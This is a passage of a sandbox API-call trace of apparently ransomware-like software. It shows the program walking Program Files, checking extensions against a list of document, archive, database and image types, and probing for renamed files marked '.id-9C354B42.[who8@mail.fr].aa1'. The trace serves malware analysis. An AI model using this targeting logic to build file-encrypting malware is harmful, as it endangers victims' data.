Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.677] lstrlenW (lpString=".doc") returned 4 [0225.677] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0225.677] lstrlenW (lpString=".docx") returned 5 [0225.678] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0225.678] lstrlenW (lpString=".pdf") returned 4 [0225.678] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString=".xls") returned 4 [0225.678] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString=".xlsx") returned 5 [0225.678] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0225.678] lstrlenW (lpString=".ppt") returned 4 [0225.678] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.678] lstrlenW (lpString=".zip") returned 4 [0225.678] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString=".rar") returned 4 [0225.678] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString=".bz2") returned 4 [0225.678] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString=".7z") returned 3 [0225.678] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0225.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.678] lstrlenW (lpString=".dbf") returned 4 [0225.678] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.678] lstrlenW (lpString=".1cd") returned 4 [0225.678] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.678] lstrlenW (lpString=".jpg") returned 4 [0225.678] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.678] lstrlenW (lpString=".doc") returned 4 [0225.678] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0225.678] lstrlenW (lpString=".docx") returned 5 [0225.678] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0225.679] lstrlenW (lpString=".pdf") returned 4 [0225.679] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString=".xls") returned 4 [0225.679] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString=".xlsx") returned 5 [0225.679] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0225.679] lstrlenW (lpString=".ppt") returned 4 [0225.679] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.679] lstrlenW (lpString=".zip") returned 4 [0225.679] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString=".rar") returned 4 [0225.679] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString=".bz2") returned 4 [0225.679] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString=".7z") returned 3 [0225.679] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0225.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.679] lstrlenW (lpString=".dbf") returned 4 [0225.679] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.679] lstrlenW (lpString=".1cd") returned 4 [0225.679] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0225.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0225.679] lstrlenW (lpString=".jpg") returned 4 [0225.679] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0225.679] lstrcmpiW (lpString1=".inc", lpString2=".aa1") returned 1 [0225.679] lstrlenW (lpString="adcvbs.inc") returned 10 [0225.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.769] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=623) returned 1 [0225.769] CloseHandle (hObject=0x1b0) returned 1 [0225.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0225.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.769] lstrlenW (lpString=".doc") returned 4 [0225.769] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0225.770] lstrlenW (lpString=".docx") returned 5 [0225.770] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0225.770] lstrlenW (lpString=".pdf") returned 4 [0225.770] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0225.770] lstrlenW (lpString=".xls") returned 4 [0225.770] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0225.770] lstrlenW (lpString=".xlsx") returned 5 [0225.770] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0225.770] lstrlenW (lpString=".ppt") returned 4 [0225.770] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0225.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.770] lstrlenW (lpString=".zip") returned 4 [0225.770] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0225.770] lstrlenW (lpString=".rar") returned 4 [0225.770] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0225.770] lstrlenW (lpString=".bz2") returned 4 [0225.770] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0225.770] lstrlenW (lpString=".7z") returned 3 [0225.770] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0225.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.770] lstrlenW (lpString=".dbf") returned 4 [0225.770] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0225.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.770] lstrlenW (lpString=".1cd") returned 4 [0225.770] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0225.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.770] lstrlenW (lpString=".jpg") returned 4 [0225.770] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0225.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.771] lstrlenW (lpString=".doc") returned 4 [0225.771] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0225.771] lstrlenW (lpString=".docx") returned 5 [0225.771] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0225.771] lstrlenW (lpString=".pdf") returned 4 [0225.771] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0225.771] lstrlenW (lpString=".xls") returned 4 [0225.771] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0225.771] lstrlenW (lpString=".xlsx") returned 5 [0225.771] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0225.771] lstrlenW (lpString=".ppt") returned 4 [0225.771] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0225.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.771] lstrlenW (lpString=".zip") returned 4 [0225.771] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0225.771] lstrlenW (lpString=".rar") returned 4 [0225.771] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0225.771] lstrlenW (lpString=".bz2") returned 4 [0225.771] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0225.771] lstrlenW (lpString=".7z") returned 3 [0225.771] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0225.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.771] lstrlenW (lpString=".dbf") returned 4 [0225.771] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0225.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.771] lstrlenW (lpString=".1cd") returned 4 [0225.772] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0225.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0225.772] lstrlenW (lpString=".jpg") returned 4 [0225.772] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0225.772] lstrcmpiW (lpString1=".png", lpString2=".aa1") returned 1 [0225.772] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0225.772] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0226.138] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5088) returned 1 [0226.138] CloseHandle (hObject=0x228) returned 1 [0226.139] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0226.139] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.139] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.139] lstrlenW (lpString=".doc") returned 4 [0226.139] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0226.139] lstrlenW (lpString=".docx") returned 5 [0226.139] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0226.139] lstrlenW (lpString=".pdf") returned 4 [0226.139] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0226.139] lstrlenW (lpString=".xls") returned 4 [0226.139] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0226.139] lstrlenW (lpString=".xlsx") returned 5 [0226.139] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0226.139] lstrlenW (lpString=".ppt") returned 4 [0226.139] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0226.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.139] lstrlenW (lpString=".zip") returned 4 [0226.140] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0226.140] lstrlenW (lpString=".rar") returned 4 [0226.140] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0226.140] lstrlenW (lpString=".bz2") returned 4 [0226.140] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0226.140] lstrlenW (lpString=".7z") returned 3 [0226.140] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.140] lstrlenW (lpString=".dbf") returned 4 [0226.140] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.140] lstrlenW (lpString=".1cd") returned 4 [0226.140] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.140] lstrlenW (lpString=".jpg") returned 4 [0226.140] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0226.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.140] lstrlenW (lpString=".doc") returned 4 [0226.140] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0226.140] lstrlenW (lpString=".docx") returned 5 [0226.140] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0226.140] lstrlenW (lpString=".pdf") returned 4 [0226.140] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0226.140] lstrlenW (lpString=".xls") returned 4 [0226.140] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0226.141] lstrlenW (lpString=".xlsx") returned 5 [0226.141] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0226.141] lstrlenW (lpString=".ppt") returned 4 [0226.141] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0226.141] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.141] lstrlenW (lpString=".zip") returned 4 [0226.141] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0226.141] lstrlenW (lpString=".rar") returned 4 [0226.141] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0226.141] lstrlenW (lpString=".bz2") returned 4 [0226.141] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0226.141] lstrlenW (lpString=".7z") returned 3 [0226.141] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.141] lstrlenW (lpString=".dbf") returned 4 [0226.141] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.141] lstrlenW (lpString=".1cd") returned 4 [0226.141] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0226.141] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0226.141] lstrlenW (lpString=".jpg") returned 4 [0226.141] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0226.141] lstrcmpiW (lpString1=".png", lpString2=".aa1") returned 1 [0226.141] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0226.141] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0226.142] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5025) returned 1 [0226.142] CloseHandle (hObject=0x228) returned 1 [0226.142] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0226.142] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.143] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.143] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.143] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.143] lstrlenW (lpString=".doc") returned 4 [0226.143] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0226.143] lstrlenW (lpString=".docx") returned 5 [0226.143] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0226.143] lstrlenW (lpString=".pdf") returned 4 [0226.143] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0226.143] lstrlenW (lpString=".xls") returned 4 [0226.143] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0226.143] lstrlenW (lpString=".xlsx") returned 5 [0226.143] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0226.143] lstrlenW (lpString=".ppt") returned 4 [0226.143] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0226.143] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.143] lstrlenW (lpString=".zip") returned 4 [0226.143] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0226.143] lstrlenW (lpString=".rar") returned 4 [0226.143] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0226.143] lstrlenW (lpString=".bz2") returned 4 [0226.143] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0226.143] lstrlenW (lpString=".7z") returned 3 [0226.143] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0226.143] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.143] lstrlenW (lpString=".dbf") returned 4 [0226.143] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.144] lstrlenW (lpString=".1cd") returned 4 [0226.144] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.144] lstrlenW (lpString=".jpg") returned 4 [0226.144] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.144] lstrlenW (lpString=".doc") returned 4 [0226.144] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0226.144] lstrlenW (lpString=".docx") returned 5 [0226.144] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0226.144] lstrlenW (lpString=".pdf") returned 4 [0226.144] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0226.144] lstrlenW (lpString=".xls") returned 4 [0226.144] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0226.144] lstrlenW (lpString=".xlsx") returned 5 [0226.144] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0226.144] lstrlenW (lpString=".ppt") returned 4 [0226.144] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0226.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.144] lstrlenW (lpString=".zip") returned 4 [0226.144] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0226.144] lstrlenW (lpString=".rar") returned 4 [0226.144] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0226.144] lstrlenW (lpString=".bz2") returned 4 [0226.144] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0226.144] lstrlenW (lpString=".7z") returned 3 [0226.144] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0226.144] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.144] lstrlenW (lpString=".dbf") returned 4 [0226.144] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0226.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.145] lstrlenW (lpString=".1cd") returned 4 [0226.145] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0226.145] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0226.145] lstrlenW (lpString=".jpg") returned 4 [0226.145] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0226.147] lstrcmpiW (lpString1=".png", lpString2=".aa1") returned 1 [0226.147] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0226.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0226.148] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3118) returned 1 [0226.148] CloseHandle (hObject=0x228) returned 1 [0226.148] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0226.148] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.148] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.148] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.148] lstrlenW (lpString=".doc") returned 4 [0226.148] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0226.148] lstrlenW (lpString=".docx") returned 5 [0226.148] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0226.149] lstrlenW (lpString=".pdf") returned 4 [0226.149] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0226.149] lstrlenW (lpString=".xls") returned 4 [0226.149] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0226.149] lstrlenW (lpString=".xlsx") returned 5 [0226.149] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0226.149] lstrlenW (lpString=".ppt") returned 4 [0226.149] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0226.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.149] lstrlenW (lpString=".zip") returned 4 [0226.149] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0226.149] lstrlenW (lpString=".rar") returned 4 [0226.149] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0226.149] lstrlenW (lpString=".bz2") returned 4 [0226.149] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0226.149] lstrlenW (lpString=".7z") returned 3 [0226.149] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0226.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.149] lstrlenW (lpString=".dbf") returned 4 [0226.149] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0226.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.149] lstrlenW (lpString=".1cd") returned 4 [0226.149] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0226.149] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png") returned 92 [0226.149] lstrlenW (lpString=".jpg") returned 4 [0226.149] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 